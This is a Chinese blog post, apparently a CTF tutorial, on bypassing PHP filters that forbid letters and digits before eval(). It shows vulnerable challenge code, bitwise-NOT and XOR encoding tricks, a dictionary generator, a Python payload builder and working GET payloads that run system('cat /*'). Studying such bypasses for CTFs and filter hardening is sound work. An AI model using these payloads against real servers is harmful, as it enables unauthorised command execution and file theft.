浅谈无字母数字RCE

本文最后更新于 2026年1月9日 晚上

引子

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

$Pr0 = $_GET['Pr0'];
if(preg_match("/[A-Za-z0-9]+/",$Pr0)){
die("我不喜欢字母和数字!!!");
}
@eval($Pr0);
?>

url取反绕过(PHP7)

1
2
3
<?php
echo urlencode(~'system');//%8C%86%8C%8B%9A%92
echo urlencode(~'cat /*');//%9C%9E%8B%DF%D0%D5

按位取反 是将一个数的每一位二进制位 0 变 1、1 变 0

字符串取反后变成不可打印字符,但可以进行url编码,以此绕过过滤

但是这里关键的是payload

1
?Pr0=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%D5); 

为什么什么后面的参数不需要用括号和引号包裹,自己加上反而出错?

payload经过url解码以及取反后变成

1
("system")("cat /*");

在 PHP 中,如果一个变量的值是字符串,且该字符串是一个已存在的函数名,那么可以用 $func() 的方式调用它,所以上面的代码完全合法。

而自己手动加上双引号,经解码后变为

1
(~"\x8C\x86\x8C\x8B\x9A\x92")("~"\x9C\x9E\x8B\xDF\xD0\xD5"");

后面的~运算变成了字符串,不会进行取反操作!

异或绕过

我们可以通过一些不可见字符进行异或运算得到我们的字母(例如s=urldecode(%08)^urldecode(%7b))

先生成一个字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

再生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

还有两种payload

1
2
?Pr0=(%27%0C%06%0C%0B%1A%12%27^%27%7F%7F%7F%7F%7F%7F%27)(${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0});&%A0=cat%20/*
//system(_GET[...]);
1
?Pr0=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system&__=cat%20/*

长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);

//flag in flag.php

$code = $_GET['c2n_y2u c@ptu3e.+the[f!a&?'];

if(preg_match("/[A-Za-z0-9]+/", $code)){
die("hacker!");
}

if(strlen($code) > 14){
die("toooooo looooog!");
}

@eval($code);
?>

参考文献及其他方法

简单看看无字母数字RCE


浅谈无字母数字RCE
https://www.sunynov.top/2026/01/07/浅谈无字母数字RCE/
作者
suny
发布于
2026年1月7日
许可协议